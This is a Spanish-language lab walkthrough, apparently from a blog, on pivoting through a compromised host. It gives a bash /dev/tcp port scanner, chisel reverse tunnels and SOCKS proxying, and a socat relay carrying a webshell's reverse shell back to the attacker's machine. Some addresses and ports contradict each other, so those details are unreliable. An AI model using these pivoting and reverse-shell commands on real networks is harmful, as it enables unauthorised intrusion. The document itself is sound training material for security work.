Una vez dentro de la máquina friendly 3 vemos que tenemos la otra interfaz de red que se conecta con la siguiente máquina:

Vamos a encontrar hosts que estén dentro de esa interfaz 10.10.10.5/24, por tanto creamos un script de bash que vaya haciendo un ping a cada uno de los host dentro del rango de red y los puertos abiertos:

#!/bin/bash
 
for i in $(seq 1 254); do
        for port in  21 22 80 443 445 8080; do
                timeout 1 bash -c "echo '' > /dev/tcp/10.10.10.$i/$port" &>/dev/null && echo "[+] Host 10.10.10.$i - PORT $port - OPEN" &
        done
done; wait

Y vemos que nos encuentra estos hosts, donde la .5 somos nosotros, y la .4 es el objetivo:

De todos modos, si queremos llegar a la 10.10.10.4 desde nuestra máquina atacante, tenemos que usar chisel:

Nos lo descargamos:

Nos lo compartimos primero con la máquina friendly3:

Por tanto, desde la máquina atacante abrimos un servidor con chisel para recibir la conexiones entrantes:

./chisel_1.8.1_linux_amd64 server --reverse -p 1234

Y ahora en la máquina víctima ejecutamos este otro comando para recibir el puerto 80 de la máquina objetivo dentro del 1234 de nuestra máquina atacante:

./chisel client 192.168.0.30:1234 R:80:10.10.10.6:80

De tal forma que ahora nuestro puerto 80 va a ser el puerto 80 de la máquina objetivo:

Pero lo ideal sería poder traernos todos los puertos en lugar de hacerlo uno a uno, por lo que usaremos un socks con este parámetro:

./chisel client 192.168.0.30:1234 R:socks

Donde crearemos un tunel por el puerto 1080, el cual se utiliza por defecto:

Y ahora nos abrimos el fichero proxychains4.conf:

nano /etc/proxychains4.conf

Y tenemos que asegurarnos que esta línea esté descomentada:

Y en la parte de debajo del todo tenemos que escribir lo siguiente, que será nuestra propia IP por el tunel que está dentro del puerto 1080:

Y ahora si hacemos un escaneo de nmap pasando por el proxychains, vamos a poder realizar correctamente este escaneo:

Lo mismo ocurriría si queremos ejecutar un whatweb o cualquier otra herramienta, ya que tenemos que pasarla primero por el túnel del proxychains:

Pero en el navegador, si queremos visualizar el puerto 80, tendremos que pasarle el proxy de la siguiente forma:

Y ya podremos visualizar el puerto 80 de la máquina sin problema:

Lo mismo haríamos por ejemplo si queremos acceder vía ftp, donde le pasaremos primero el túnel del proxychains:

Por otra parte, si quisiéramos hacer fuzzing, tendríamos que pasar también por el proxychains o utilizar parámetros específicos de gobuster o la herramienta que estemos usando, por lo que lo haríamos de esta forma:

gobuster dir -u http://10.10.10.6 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt --proxy socks5://127.0.0.1:1080

Vamos a hacer la intrusión donde debemos de subir la webshell a la máquina víctima para enviarnos la reverse shell:

Y ahora la IP que debemos poner para recibir la reverse shell debe ser la de la máquina intermedia donde se estará ejecutando socat:

Y la subimos:

De todos modos, para recibir la reverse shell tendremos que usar socat, por lo que lo vamos a descargar:

Y ahora este binario de socat nos lo compartimos con la máquina friendly 3:

Y deste otra ventana de la friendly 3 nos lo descargamos:

Ahora ejecutamos el socat en la máquina intermedia, mandando al puerto 443 de la máquina atacante todo el tráfico recibido por el puerto 4343 de la máquina intermedia:

./socat tcp-l:443,fork,reuseaddr tcp:192.168.0.30:443

Y ahora si escuchamos con netcat, habremos recibido la conexión al haber llamado al fichero php malicioso desde el navegador: